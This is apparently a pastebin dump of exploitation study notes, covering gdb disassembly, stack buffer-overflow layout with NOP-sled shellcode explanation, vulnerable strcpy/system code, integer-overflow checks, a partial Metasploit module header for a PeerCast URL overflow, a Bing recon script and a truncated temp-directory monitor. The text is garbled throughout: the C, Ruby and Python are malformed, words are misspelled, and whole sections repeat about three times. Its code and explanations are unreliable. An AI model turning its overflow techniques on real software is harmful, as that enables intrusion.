· 5 years ago · Mar 10, 2020, 11:38 PM
1hax@haxor:~/$ objdump -D a.out | grep -A20 main.
2hax@haxor:~/$ objdump -M intel -D a.out | grep -A20 main
3
4using debug:
5
6(gdb) disassemble main
7Dump of assembler code for function main():
80x08048384 <main+0>: push ebp
90x08048385 <main+1>: mov ebp,esp
100x08048387 <main+3>: sub esp,0x8
110x0804838a <main+6>: and esp,0xfffffff0
120x0804838d <main+9>: mov eax,0x0
130x08048392 <main+14>: sub esp,eax
140x08048394 <main+16>: mov DWORD PTR [ebp-4],0x0
150x0804839b <main+23>: cmp DWORD PTR [ebp-4],0x9
160x0804839f <main+27>: jle 0x80483a3 <main+31>
170x080483a1 <main+29>: jmp 0x80483b6 <main+50>
180x080483a3 <main+31>: mov DWORD PTR [esp],0x80484d4
190x080483aa <main+38>: call 0x80482a8 <_init+56>
200x080483af <main+43>: lea eax,[ebp-4]
210x080483b2 <main+46>: inc DWORD PTR [eax]
220x080483b4 <main+48>: jmp 0x804839b <main+23>
230x080483b6 <main+50>: leave
240x080483b7 <main+51>: ret
25End of assembler dump.
26(gdb) break main
27Breakpoint 1 at 0x8048394: file firstprog.c, line 6.
28(gdb) run
29Starting program: /hacking/a.out
30Breakpoint 1, main() at firstprog.c:6
316 for(i=0; i < 10; i++)
32(gdb) info register eip
33eip 0x8048394 0x8048394
34(gdb
35
36
37
38first the source code is listed and the dissambly of the main() function is displayed.
39then a breakpoint is set at the start of main() and is ran.
40the breakpoint tells the debugger to pause the execution of the code when it finds it.
41the value of eip is displayed.
42
43display format:
44o: octal
45x: hexadecimal
46u: standard base-10 decimal
47t: display in binary
48
49the default size of a unit is a four-byte unit called a word.
50b: a single byte
51h: a halfword is 2 bytes in size
52w: a word is 4 bytes in size
53g: a giant which is 8 bytes in size.
54
558048384 c7 45 00 00 00 00 mov DWORD PTR [ebP-4], 0X0
56
57this will move the value of 0 into mmeory located at the address in ebp minus/4
58this will zero out the var[i] for a loop()
59
60(gdb) i r ebp
61ebp 0xbffff808 0xbffff808
62(gdb) x/4xb $ebp - 4
630xbffff804: 0xc0 0x83 0x04 0x08
64(gdb) x/4xb 0xbffff804
650xbffff804: 0xc0 0x83 0x04 0x08
66(gdb) print $ebp - 4
67$1 = (void *) 0xbffff804
68(gdb) x/4xb $1
690xbffff804: 0xc0 0x83 0x04 0x08
70(gdb) x/xw $1
710xbffff804: 0x080483c0
72(gdb)
73
74
75#include <stdio.h>
76
77int main()
78{
79 int i;
80 for(i=0; i < 10; i++) // loop 10 times
81 }
82 puts("hello, world!\n"); //puts the string to the output.
83 }
84 return 0; // tells os the process exited without errors.
85 }
86
87
88 cryptex file header structure:
89
90[Signature1 ()| Offset+00]
91[Signature 2() | Offset+04]
92[Unknown | Offset +08]
93[First File-List Cluster | Offset+0c
94[Unknown | Offset +10
95Unknown | Offset+14
96------------------------------
97[Password Hash | 0ffset+18, Offset +1c, Offset +20, Offset +24
98
99[Cryptex File Entry Cluster Layout]
100
101[Individual Cluster Index] offset+00
102Fileis First Cluster Index Offset+04
103File Size in Clusters Offset +08
104File MD5 hashes [ Offsets 0c, 10, 14, 18, and Offset +1c ]
105
106int coutner;
107char string[8];
108float number;
109
110String var contains 8
111string can only contain bytes{8}
112CopiedBuffer+ 0x10 replaces + 0x10 fuction's return address, when function returns tries to return to the caller invoking RET
113the cpu will jump to the previous address stored in in CopiedBuffer
114
115
116 [Before Reading String] [After Reading String]
117curret value of esp [ counter] current value of esp
118string[0]..[3] counter
119string[3]..[7] CopiedBuffer
120number CopiedBuffer + 0x04
121current value of ebp [ saved ebp] CopiedBuffer + 0x08
122 [return address] CopiedBuffer + 0x0c
123 [parameter 1] CopiedBuffer + 0x10
124 [parameter 2] CopiedBuffer + 0x14
125 CopiedBuffer + 0x18
126 <- 32 bits - > < 32 bits - >
127
128 for instance when you run a program the stack is allocated in the same place, you can guess the stack space and try to jump to the right place, you can pad shellcode with NOPs and jump where we think the buffer has been copied. NOP's allow you to jump to any address that contains or shellcode and execution will flow into your code.
129
130 an application stores a temp buffer in the stack and receives variable-length input from the outside world into the buffer.
131 receiveseve()
132 var {0x00]
133 %s "- I \n;
134
135 mov eax, [esp,+0x4]
136 sub esp, 0x64
137 push eax
138 lea ecx, [esp+0x4]
139 push ecxcall Chapter7!strcpy (00401180)
140 lea edx, [edx+0x8]
141 push 0x408128
142 push edx
143 call Chapter7!strcat (00401190)
144 lea eax, [esp+0x10]
145 push eaxcall Chapter!system (004010e7)
146 add esp, 0x78
147 return
148
149
150 #windows cookie
151 in local variable-length;
152
153 void__ cdecs __security_init_cookie(void)
154 {
155 DWORD_PTR cookie;
156 FT systime;
157 LARGE_INTEGER perfectr;
158
159 {the _security_init_cookie function initalizes the stack-checking cookie code generated by the microsoft c++ compiler
160
161
162
163 /* Do nothing if cookie has been open
164 if (security_cookie && security_cookie ! = DEFAULT_SECURITY_COOKIE)
165 return;
166 /*
167 * Initialize the global cookie with an unpredictable value which is different for each module in a process. Combine a number of sources of randomness
168 */
169
170 GetSystemTimeAsFiletime(&systime.ft_struct);
171#if !defined (_WIN64)
172cookie = systime.ft_structor.dwLowDateTime;
173cookie ^= systime.ft_struct.dwHighDateTime;
174#else /* !defined (_WIN64)
175cookie = systime.ft_scalar;
176#endif /*defined (_WIN64) */
177
178cookie ^= GetCurrentProcessId();
179cookie ^= GetCurrentThreadId();
180cookie ^= GetTickCount();
181
182QueryPerformanceCounter(&perfectr);
183#if !define (_WIN64)
184cookie ^= perfectr.LowPart;
185cookie ^ = perfectr.HighPart;
186#else /* !defined (_WIN64)
187cookie ^= perfectr.QuadPart;
188#endif /* !defined (_WIN64) */
189
190make sure the global cookie is never set to zero , so it doesnt set the local cookie back to the return address */
191
192 _security_init_cookie = cookie ? cookie: DEFAULT_SECURITY_COOKIE;
193
194}
195
196
197----------------------------------------------------------------------------
198Integer Overflows
199
200push esi
201push 100 ;/size = 100 (256.)
202call Chapter7.malloc ;\malloc
203mov esi, eax
204add esp, 4
205test esi,esije short Chapter7.0040104E
206mov eax, dword, ptr [esp+C]
207cmp eax,100
208jg short Chapter7.0040104E
209push eax ; /maxlen
210mov eax, dword ptr [esp+C] ; |
211push eax ;|src
212push esi ; |dest
213call Chapter7.strncpy ; \ strncpy
214add esp, 0C
215Chapter7. 0040104E:
216mov eax, esipop esi
217retn
218
219{function allocates a fixed size for 256 bytes long, copies a string into that buffer, through [esp + c]
220signed buffer lengths comparisons alloww with input value to bypass the buffer length check, buffer length =[0.+1-8]
221BufferLen < = MAXIUMUM_LEN > 0
222SignedBufferLen < = MAXIUMUM_LEN,
223SignedBufferLen < 0
224
225
226peercast_url.rb
227
228require 'msf/core'
229module Msf
230class Exploits::Linux::Http::PeerCast_URL < Msf::Exploit::Remote
231include Exploit::Remote::Tcp
232 def initialize(info = {})
233 super(update_info(info,
234 'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow {linux)
235 'Description' = > %q{ this module exploits a stack overflow in PeerCast the Vulnerability is caused due to a boundary error withint he handling of URL parameters .},
236 'License' => BSD_LICENSE,
237 'Version' => $Revision: 4498 $',
238 'References =>
239 [ 'OSVBD, '23777']
240 [ 'BID', '17040'],
241 [ 'URL' 'http:127.0.0.1/h4x0r']
242 'Privledged' => false
243 'Payload =>
244 {
245 'Space' => 200,
246 'BadChars' => \x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
247 'MinNops' => 64,
248
249
250
251 }
252
253
254 --------------------------------------------------------------------------
255 EAX = EAX & 0X00001000;
256 if(EAX)
257 CF = 1;
258 else
259 CP= 0;
260EAX = EAX - (EAT+CF);
261EAX = EAX;
262(checks for a praticular bit in EAX (0x00001000) and returns to 1 if it set to zero. (ASM)
263
264C#
265int main void ()
266 if(LocalVariable & 0x00001000)
267 return TRUE;
268else
269return FALSE;
270
271if (SomeFunc() == 4)
272 return 54;
273else
274 return 2;
275 return (result != FALSE);
276 return result;
277 (in computer terms)
278 cmp [result] , 0
279 jne NotEquals
280 mov eax, 0
281 ret
282 NotEquals:
283 mov eax, 1
284 ret
285 (JE instruction SETcc)
286 xor eax, eax //set sure eax = 0's
287 cmp [result] , 0
288 setne al
289 ret
290 SETcc/CMOVcc (Conditional moves)
291
292 movecx, 20000
293 cmpedx, 0
294 moveax, 1000
295 cmove
296 eax, ecx
297 ret
298 (EAX must have one or two values (depending on value of EDX)
299 /*
300 * loads one of the possible results iN ECX and the other into EAX
301 code checks EDX for the ConditionalValue to null, and uses CMOVEcc to load EDX with the value of ECX
302 ECX if values are equal, elseif EAX is loaded with 2,000
303
304 if (SomeVariable == 0)
305 return 2000;
306 else
307 return 1000;
308
309
310
311
312
313 (bing Queries)
314
315
316
317 def bing_menu(self,event):
318
319 # grab the details of what user clicks
320 http_traffic = self.context.getSelectMessages()
321
322 print "%d requests highlighted" %len(http_traffic)
323
324 for traffic in http_traffic:
325 http_service = traffic.getHttpService()
326
327 print "user selected host: %s" % host
328
329 self.bing_search(host)
330
331
332 return
333
334
335
336def bing_search(self,host):
337
338 #check if we have an IP/ hostname:
339if is_ip:
340 ip_address = host
341 domain = FALSE
342else:
343 ip_address = socket.gethostbyname(host)
344 domain = TRUE
345
346bing_query_string ="'ip:%s'" % ip_address
347 self>bing_queery(bing_query_string)
348
349
350if domain:
351 bing_query_string = "'domain:%s'" % host
352 self.bing_query_string)
353/* installing http api subdomains
354
355
356def bing_query(self,bing_query_string):
357
358 printf" Hacking the planet: %s" % bing_query_string
359
360 # encode our query
361 quoted_query = urllib.quote(bing_query_string)
362
363 http_request = "GET https://api.datamarket.azure.com/Bing/Search/Web?$.format=json&$top-20%Query=%s HTTP/1.1\R\n" % quoted_query
364 http_request += "Host: api.datamarke.azure.com\r\n"
365
366 http_request += "Connection: close\r\n"
367 http_request +="Authorization: Basic %s\r\n" %base.64.b64encode(":%s" % . bing_api_key)
368
369 http_request += "User-Agent: l33t \r\n\r\n"
370
371
372call ebp
373add esp, 4
374mov ecx, 4
375lea edi , ss: [esp+6c]
376lea esi, ss: [esp+5c]
377xor edx, edxrepe cmps dwod ptr es: [edi], dword ds: [esi]
378je short cyprex.00401ec2
379mov eax, ss: [esp+18]
380push eaxpush cryprex.004033bf4 ; ascii "error: file "%s" is
381 corrupted!"
382
383call ebp
384add esp, 8
385mov ecs, ss: [esp+1c]
386push ecxcall ds: [ <%advapi32.cryprdestroyhash<]
387mov edx, ss: [esp+14]
388mov esi, ds: [&kernel32.closehandler>]
389push edx ;/h0bject
390call esi ;\closehandle
391push ebx ;/h0bject
392call esi ;\closehandle
393mov ecx, ss: [esp+7c]
394pop esi
395pop ebp
396pop edi
397pop ebx
398call crypte.004027c9
399add esp, 70
400retn
401
402
403cryptex file header structure:
404
405[Signature1 ()| Offset+00]
406[Signature 2() | Offset+04]
407[Unknown | Offset +08]
408[First File-List Cluster | Offset+0c
409[Unknown | Offset +10
410Unknown | Offset+14
411------------------------------
412[Password Hash | 0ffset+18, Offset +1c, Offset +20, Offset +24
413
414[Cryptex File Entry Cluster Layout]
415
416[Individual Cluster Index] offset+00
417Fileis First Cluster Index Offset+04
418File Size in Clusters Offset +08
419File MD5 hashes [ Offsets 0c, 10, 14, 18, and Offset +1c ]
420
421int coutner;
422char string[8];
423float number;
424
425String var contains 8
426string can only contain bytes{8}
427CopiedBuffer+ 0x10 replaces + 0x10 fuction's return address, when function returns tries to return to the caller invoking RET
428the cpu will jump to the previous address stored in in CopiedBuffer
429
430
431 [Before Reading String] [After Reading String]
432curret value of esp [ counter] current value of esp
433string[0]..[3] counter
434string[3]..[7] CopiedBuffer
435number CopiedBuffer + 0x04
436current value of ebp [ saved ebp] CopiedBuffer + 0x08
437 [return address] CopiedBuffer + 0x0c
438 [parameter 1] CopiedBuffer + 0x10
439 [parameter 2] CopiedBuffer + 0x14
440 CopiedBuffer + 0x18
441 <- 32 bits - > < 32 bits - >
442
443 for instance when you run a program the stack is allocated in the same place, you can guess the stack space and try to jump to the right place, you can pad shellcode with NOPs and jump where we think the buffer has been copied. NOP's allow you to jump to any address that contains or shellcode and execution will flow into your code.
444
445 an application stores a temp buffer in the stack and receives variable-length input from the outside world into the buffer.
446 receiveseve()
447 var {0x00]
448 %s "- I \n;
449
450 mov eax, [esp,+0x4]
451 sub esp, 0x64
452 push eax
453 lea ecx, [esp+0x4]
454 push ecxcall Chapter7!strcpy (00401180)
455 lea edx, [edx+0x8]
456 push 0x408128
457 push edx
458 call Chapter7!strcat (00401190)
459 lea eax, [esp+0x10]
460 push eaxcall Chapter!system (004010e7)
461 add esp, 0x78
462 return
463
464
465 #windows cookie
466 in local variable-length;
467
468 void__ cdecs __security_init_cookie(void)
469 {
470 DWORD_PTR cookie;
471 FT systime;
472 LARGE_INTEGER perfectr;
473
474 {the _security_init_cookie function initalizes the stack-checking cookie code generated by the microsoft c++ compiler
475
476
477
478 /* Do nothing if cookie has been open
479 if (security_cookie && security_cookie ! = DEFAULT_SECURITY_COOKIE)
480 return;
481 /*
482 * Initialize the global cookie with an unpredictable value which is different for each module in a process. Combine a number of sources of randomness
483 */
484
485 GetSystemTimeAsFiletime(&systime.ft_struct);
486#if !defined (_WIN64)
487cookie = systime.ft_structor.dwLowDateTime;
488cookie ^= systime.ft_struct.dwHighDateTime;
489#else /* !defined (_WIN64)
490cookie = systime.ft_scalar;
491#endif /*defined (_WIN64) */
492
493cookie ^= GetCurrentProcessId();
494cookie ^= GetCurrentThreadId();
495cookie ^= GetTickCount();
496
497QueryPerformanceCounter(&perfectr);
498#if !define (_WIN64)
499cookie ^= perfectr.LowPart;
500cookie ^ = perfectr.HighPart;
501#else /* !defined (_WIN64)
502cookie ^= perfectr.QuadPart;
503#endif /* !defined (_WIN64) */
504
505make sure the global cookie is never set to zero , so it doesnt set the local cookie back to the return address */
506
507 _security_init_cookie = cookie ? cookie: DEFAULT_SECURITY_COOKIE;
508
509}
510
511
512----------------------------------------------------------------------------
513Integer Overflows
514
515push esi
516push 100 ;/size = 100 (256.)
517call Chapter7.malloc ;\malloc
518mov esi, eax
519add esp, 4
520test esi,esije short Chapter7.0040104E
521mov eax, dword, ptr [esp+C]
522cmp eax,100
523jg short Chapter7.0040104E
524push eax ; /maxlen
525mov eax, dword ptr [esp+C] ; |
526push eax ;|src
527push esi ; |dest
528call Chapter7.strncpy ; \ strncpy
529add esp, 0C
530Chapter7. 0040104E:
531mov eax, esipop esi
532retn
533
534{function allocates a fixed size for 256 bytes long, copies a string into that buffer, through [esp + c]
535signed buffer lengths comparisons alloww with input value to bypass the buffer length check, buffer length =[0.+1-8]
536BufferLen < = MAXIUMUM_LEN > 0
537SignedBufferLen < = MAXIUMUM_LEN,
538SignedBufferLen < 0
539
540
541peercast_url.rb
542
543require 'msf/core'
544module Msf
545class Exploits::Linux::Http::PeerCast_URL < Msf::Exploit::Remote
546include Exploit::Remote::Tcp
547 def initialize(info = {})
548 super(update_info(info,
549 'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow {linux)
550 'Description' = > %q{ this module exploits a stack overflow in PeerCast the Vulnerability is caused due to a boundary error withint he handling of URL parameters .},
551 'License' => BSD_LICENSE,
552 'Version' => $Revision: 4498 $',
553 'References =>
554 [ 'OSVBD, '23777']
555 [ 'BID', '17040'],
556 [ 'URL' 'http:127.0.0.1/h4x0r']
557 'Privledged' => false
558 'Payload =>
559 {
560 'Space' => 200,
561 'BadChars' => \x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
562 'MinNops' => 64,
563
564
565
566 }
567
568
569 --------------------------------------------------------------------------
570 EAX = EAX & 0X00001000;
571 if(EAX)
572 CF = 1;
573 else
574 CP= 0;
575EAX = EAX - (EAT+CF);
576EAX = EAX;
577(checks for a praticular bit in EAX (0x00001000) and returns to 1 if it set to zero. (ASM)
578
579C#
580int main void ()
581 if(LocalVariable & 0x00001000)
582 return TRUE;
583else
584return FALSE;
585
586if (SomeFunc() == 4)
587 return 54;
588else
589 return 2;
590 return (result != FALSE);
591 return result;
592 (in computer terms)
593 cmp [result] , 0
594 jne NotEquals
595 mov eax, 0
596 ret
597 NotEquals:
598 mov eax, 1
599 ret
600 (JE instruction SETcc)
601 xor eax, eax //set sure eax = 0's
602 cmp [result] , 0
603 setne al
604 ret
605 SETcc/CMOVcc (Conditional moves)
606
607 movecx, 20000
608 cmpedx, 0
609 moveax, 1000
610 cmove
611 eax, ecx
612 ret
613 (EAX must have one or two values (depending on value of EDX)
614 /*
615 * loads one of the possible results iN ECX and the other into EAX
616 code checks EDX for the ConditionalValue to null, and uses CMOVEcc to load EDX with the value of ECX
617 ECX if values are equal, elseif EAX is loaded with 2,000
618
619 if (SomeVariable == 0)
620 return 2000;
621 else
622 return 1000;
623
624
625
626
627
628 (bing Queries)
629
630
631
632 def bing_menu(self,event):
633
634 # grab the details of what user clicks
635 http_traffic = self.context.getSelectMessages()
636
637 print "%d requests highlighted" %len(http_traffic)
638
639 for traffic in http_traffic:
640 http_service = traffic.getHttpService()
641
642 print "user selected host: %s" % host
643
644 self.bing_search(host)
645
646
647 return
648
649
650
651def bing_search(self,host):
652
653 #check if we have an IP/ hostname:
654if is_ip:
655 ip_address = host
656 domain = FALSE
657else:
658 ip_address = socket.gethostbyname(host)
659 domain = TRUE
660
661bing_query_string ="'ip:%s'" % ip_address
662 self>bing_queery(bing_query_string)
663
664
665if domain:
666 bing_query_string = "'domain:%s'" % host
667 self.bing_query_string)
668/* installing http api subdomains
669
670
671def bing_query(self,bing_query_string):
672
673 printf" Hacking the planet: %s" % bing_query_string
674
675 # encode our query
676 quoted_query = urllib.quote(bing_query_string)
677
678 http_request = "GET https://api.datamarket.azure.com/Bing/Search/Web?$.format=json&$top-20%Query=%s HTTP/1.1\R\n" % quoted_query
679 http_request += "Host: api.datamarke.azure.com\r\n"
680
681 http_request += "Connection: close\r\n"
682 http_request +="Authorization: Basic %s\r\n" %base.64.b64encode(":%s" % . bing_api_key)
683
684 http_request += "User-Agent: Blackhat Python\r\n\r\n"
685
686 call ebp
687add esp, 4
688mov ecx, 4
689lea edi , ss: [esp+6c]
690lea esi, ss: [esp+5c]
691xor edx, edxrepe cmps dwod ptr es: [edi], dword ds: [esi]
692je short cyprex.00401ec2
693mov eax, ss: [esp+18]
694push eaxpush cryprex.004033bf4 ; ascii "error: file "%s" is
695 corrupted!"
696
697call ebp
698add esp, 8
699mov ecs, ss: [esp+1c]
700push ecxcall ds: [ <%advapi32.cryprdestroyhash<]
701mov edx, ss: [esp+14]
702mov esi, ds: [&kernel32.closehandler>]
703push edx ;/h0bject
704call esi ;\closehandle
705push ebx ;/h0bject
706call esi ;\closehandle
707mov ecx, ss: [esp+7c]
708pop esi
709pop ebp
710pop edi
711pop ebx
712call crypte.004027c9
713add esp, 70
714retn
715
716
717 hax@haxor:~/$ objdump -D a.out | grep -A20 main.
718hax@haxor:~/$ objdump -M intel -D a.out | grep -A20 main
719
720using debug:
721
722(gdb) disassemble main
723Dump of assembler code for function main():
7240x08048384 <main+0>: push ebp
7250x08048385 <main+1>: mov ebp,esp
7260x08048387 <main+3>: sub esp,0x8
7270x0804838a <main+6>: and esp,0xfffffff0
7280x0804838d <main+9>: mov eax,0x0
7290x08048392 <main+14>: sub esp,eax
7300x08048394 <main+16>: mov DWORD PTR [ebp-4],0x0
7310x0804839b <main+23>: cmp DWORD PTR [ebp-4],0x9
7320x0804839f <main+27>: jle 0x80483a3 <main+31>
7330x080483a1 <main+29>: jmp 0x80483b6 <main+50>
7340x080483a3 <main+31>: mov DWORD PTR [esp],0x80484d4
7350x080483aa <main+38>: call 0x80482a8 <_init+56>
7360x080483af <main+43>: lea eax,[ebp-4]
7370x080483b2 <main+46>: inc DWORD PTR [eax]
7380x080483b4 <main+48>: jmp 0x804839b <main+23>
7390x080483b6 <main+50>: leave
7400x080483b7 <main+51>: ret
741End of assembler dump.
742(gdb) break main
743Breakpoint 1 at 0x8048394: file firstprog.c, line 6.
744(gdb) run
745Starting program: /hacking/a.out
746Breakpoint 1, main() at firstprog.c:6
7476 for(i=0; i < 10; i++)
748(gdb) info register eip
749eip 0x8048394 0x8048394
750(gdb
751
752
753
754first the source code is listed and the dissambly of the main() function is displayed.
755then a breakpoint is set at the start of main() and is ran.
756the breakpoint tells the debugger to pause the execution of the code when it finds it.
757the value of eip is displayed.
758
759display format:
760o: octal
761x: hexadecimal
762u: standard base-10 decimal
763t: display in binary
764
765the default size of a unit is a four-byte unit called a word.
766b: a single byte
767h: a halfword is 2 bytes in size
768w: a word is 4 bytes in size
769g: a giant which is 8 bytes in size.
770
7718048384 c7 45 00 00 00 00 mov DWORD PTR [ebP-4], 0X0
772
773this will move the value of 0 into mmeory located at the address in ebp minus/4
774this will zero out the var[i] for a loop()
775
776(gdb) i r ebp
777ebp 0xbffff808 0xbffff808
778(gdb) x/4xb $ebp - 4
7790xbffff804: 0xc0 0x83 0x04 0x08
780(gdb) x/4xb 0xbffff804
7810xbffff804: 0xc0 0x83 0x04 0x08
782(gdb) print $ebp - 4
783$1 = (void *) 0xbffff804
784(gdb) x/4xb $1
7850xbffff804: 0xc0 0x83 0x04 0x08
786(gdb) x/xw $1
7870xbffff804: 0x080483c0
788(gdb)
789
790
791#include <stdio.h>
792
793int main()
794{
795 int i;
796 for(i=0; i < 10; i++) // loop 10 times
797 }
798 puts("hello, world!\n"); //puts the string to the output.
799 }
800 return 0; // tells os the process exited without errors.
801 }
802
803
804 cryptex file header structure:
805
806[Signature1 ()| Offset+00]
807[Signature 2() | Offset+04]
808[Unknown | Offset +08]
809[First File-List Cluster | Offset+0c
810[Unknown | Offset +10
811Unknown | Offset+14
812------------------------------
813[Password Hash | 0ffset+18, Offset +1c, Offset +20, Offset +24
814
815[Cryptex File Entry Cluster Layout]
816
817[Individual Cluster Index] offset+00
818Fileis First Cluster Index Offset+04
819File Size in Clusters Offset +08
820File MD5 hashes [ Offsets 0c, 10, 14, 18, and Offset +1c ]
821
822int coutner;
823char string[8];
824float number;
825
826String var contains 8
827string can only contain bytes{8}
828CopiedBuffer+ 0x10 replaces + 0x10 fuction's return address, when function returns tries to return to the caller invoking RET
829the cpu will jump to the previous address stored in in CopiedBuffer
830
831
832 [Before Reading String] [After Reading String]
833curret value of esp [ counter] current value of esp
834string[0]..[3] counter
835string[3]..[7] CopiedBuffer
836number CopiedBuffer + 0x04
837current value of ebp [ saved ebp] CopiedBuffer + 0x08
838 [return address] CopiedBuffer + 0x0c
839 [parameter 1] CopiedBuffer + 0x10
840 [parameter 2] CopiedBuffer + 0x14
841 CopiedBuffer + 0x18
842 <- 32 bits - > < 32 bits - >
843
844 for instance when you run a program the stack is allocated in the same place, you can guess the stack space and try to jump to the right place, you can pad shellcode with NOPs and jump where we think the buffer has been copied. NOP's allow you to jump to any address that contains or shellcode and execution will flow into your code.
845
846 an application stores a temp buffer in the stack and receives variable-length input from the outside world into the buffer.
847 receiveseve()
848 var {0x00]
849 %s "- I \n;
850
851 mov eax, [esp,+0x4]
852 sub esp, 0x64
853 push eax
854 lea ecx, [esp+0x4]
855 push ecxcall Chapter7!strcpy (00401180)
856 lea edx, [edx+0x8]
857 push 0x408128
858 push edx
859 call Chapter7!strcat (00401190)
860 lea eax, [esp+0x10]
861 push eaxcall Chapter!system (004010e7)
862 add esp, 0x78
863 return
864
865
866 #windows cookie
867 in local variable-length;
868
869 void__ cdecs __security_init_cookie(void)
870 {
871 DWORD_PTR cookie;
872 FT systime;
873 LARGE_INTEGER perfectr;
874
875 {the _security_init_cookie function initalizes the stack-checking cookie code generated by the microsoft c++ compiler
876
877
878
879 /* Do nothing if cookie has been open
880 if (security_cookie && security_cookie ! = DEFAULT_SECURITY_COOKIE)
881 return;
882 /*
883 * Initialize the global cookie with an unpredictable value which is different for each module in a process. Combine a number of sources of randomness
884 */
885
886 GetSystemTimeAsFiletime(&systime.ft_struct);
887#if !defined (_WIN64)
888cookie = systime.ft_structor.dwLowDateTime;
889cookie ^= systime.ft_struct.dwHighDateTime;
890#else /* !defined (_WIN64)
891cookie = systime.ft_scalar;
892#endif /*defined (_WIN64) */
893
894cookie ^= GetCurrentProcessId();
895cookie ^= GetCurrentThreadId();
896cookie ^= GetTickCount();
897
898QueryPerformanceCounter(&perfectr);
899#if !define (_WIN64)
900cookie ^= perfectr.LowPart;
901cookie ^ = perfectr.HighPart;
902#else /* !defined (_WIN64)
903cookie ^= perfectr.QuadPart;
904#endif /* !defined (_WIN64) */
905
906make sure the global cookie is never set to zero , so it doesnt set the local cookie back to the return address */
907
908 _security_init_cookie = cookie ? cookie: DEFAULT_SECURITY_COOKIE;
909
910}
911
912
913----------------------------------------------------------------------------
914Integer Overflows
915
916push esi
917push 100 ;/size = 100 (256.)
918call Chapter7.malloc ;\malloc
919mov esi, eax
920add esp, 4
921test esi,esije short Chapter7.0040104E
922mov eax, dword, ptr [esp+C]
923cmp eax,100
924jg short Chapter7.0040104E
925push eax ; /maxlen
926mov eax, dword ptr [esp+C] ; |
927push eax ;|src
928push esi ; |dest
929call Chapter7.strncpy ; \ strncpy
930add esp, 0C
931Chapter7. 0040104E:
932mov eax, esipop esi
933retn
934
935{function allocates a fixed size for 256 bytes long, copies a string into that buffer, through [esp + c]
936signed buffer lengths comparisons alloww with input value to bypass the buffer length check, buffer length =[0.+1-8]
937BufferLen < = MAXIUMUM_LEN > 0
938SignedBufferLen < = MAXIUMUM_LEN,
939SignedBufferLen < 0
940
941
942peercast_url.rb
943
944require 'msf/core'
945module Msf
946class Exploits::Linux::Http::PeerCast_URL < Msf::Exploit::Remote
947include Exploit::Remote::Tcp
948 def initialize(info = {})
949 super(update_info(info,
950 'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow {linux)
951 'Description' = > %q{ this module exploits a stack overflow in PeerCast the Vulnerability is caused due to a boundary error withint he handling of URL parameters .},
952 'License' => BSD_LICENSE,
953 'Version' => $Revision: 4498 $',
954 'References =>
955 [ 'OSVBD, '23777']
956 [ 'BID', '17040'],
957 [ 'URL' 'http:127.0.0.1/h4x0r']
958 'Privledged' => false
959 'Payload =>
960 {
961 'Space' => 200,
962 'BadChars' => \x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
963 'MinNops' => 64,
964
965
966
967 }
968
969
970 --------------------------------------------------------------------------
971 EAX = EAX & 0X00001000;
972 if(EAX)
973 CF = 1;
974 else
975 CP= 0;
976EAX = EAX - (EAT+CF);
977EAX = EAX;
978(checks for a praticular bit in EAX (0x00001000) and returns to 1 if it set to zero. (ASM)
979
980C#
981int main void ()
982 if(LocalVariable & 0x00001000)
983 return TRUE;
984else
985return FALSE;
986
987if (SomeFunc() == 4)
988 return 54;
989else
990 return 2;
991 return (result != FALSE);
992 return result;
993 (in computer terms)
994 cmp [result] , 0
995 jne NotEquals
996 mov eax, 0
997 ret
998 NotEquals:
999 mov eax, 1
1000 ret
1001 (JE instruction SETcc)
1002 xor eax, eax //set sure eax = 0's
1003 cmp [result] , 0
1004 setne al
1005 ret
1006 SETcc/CMOVcc (Conditional moves)
1007
1008 movecx, 20000
1009 cmpedx, 0
1010 moveax, 1000
1011 cmove
1012 eax, ecx
1013 ret
1014 (EAX must have one or two values (depending on value of EDX)
1015 /*
1016 * loads one of the possible results iN ECX and the other into EAX
1017 code checks EDX for the ConditionalValue to null, and uses CMOVEcc to load EDX with the value of ECX
1018 ECX if values are equal, elseif EAX is loaded with 2,000
1019
1020 if (SomeVariable == 0)
1021 return 2000;
1022 else
1023 return 1000;
1024
1025
1026
1027
1028
1029 (bing Queries)
1030
1031
1032
1033 def bing_menu(self,event):
1034
1035 # grab the details of what user clicks
1036 http_traffic = self.context.getSelectMessages()
1037
1038 print "%d requests highlighted" %len(http_traffic)
1039
1040 for traffic in http_traffic:
1041 http_service = traffic.getHttpService()
1042
1043 print "user selected host: %s" % host
1044
1045 self.bing_search(host)
1046
1047
1048 return
1049
1050
1051
1052def bing_search(self,host):
1053
1054 #check if we have an IP/ hostname:
1055if is_ip:
1056 ip_address = host
1057 domain = FALSE
1058else:
1059 ip_address = socket.gethostbyname(host)
1060 domain = TRUE
1061
1062bing_query_string ="'ip:%s'" % ip_address
1063 self>bing_queery(bing_query_string)
1064
1065
1066if domain:
1067 bing_query_string = "'domain:%s'" % host
1068 self.bing_query_string)
1069/* installing http api subdomains
1070
1071
1072def bing_query(self,bing_query_string):
1073
1074 printf" Hacking the planet: %s" % bing_query_string
1075
1076 # encode our query
1077 quoted_query = urllib.quote(bing_query_string)
1078
1079 http_request = "GET https://api.datamarket.azure.com/Bing/Search/Web?$.format=json&$top-20%Query=%s HTTP/1.1\R\n" % quoted_query
1080 http_request += "Host: api.datamarke.azure.com\r\n"
1081
1082 http_request += "Connection: close\r\n"
1083 http_request +="Authorization: Basic %s\r\n" %base.64.b64encode(":%s" % . bing_api_key)
1084
1085 http_request += "User-Agent: l33t \r\n\r\n"
1086
1087 #Modified example that is originally given here:
1088#http://timgolden.me.uk/python/win32_how_do_i_watch_directory_for_changes.html
1089import tempfile
1090import threading
1091import win32file
1092import win32con
1093import os
1094#these are common temp file directories
1095(1) dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir() ]
1096
1097# file modification constants
1098FILE_CREATED = 1
1099FILE_DELETED = 2
1100FILE_MODIFIED = 3
1101FILE_RENAMED_FROM = 4
1102FILE_RENAMED_TO = 5
1103'
1104
1105def start_monitor(path_to_watch):
1106
1107#we created a thread for each monitoring run
1108FILE_LIST_DIRECTORY = 0x0001
1109
1110h_directory = win32.file.CreateFile(
1111 path_to_watch,
1112 FILE_LIST_DIRECTORY,
1113 win32con.FILE_SHARE | win32con.FILE_SHARE_WRITE | win32con.FILE SHARE_DELTE,
1114 None,
1115 win32con.OPEN.EXISTING,
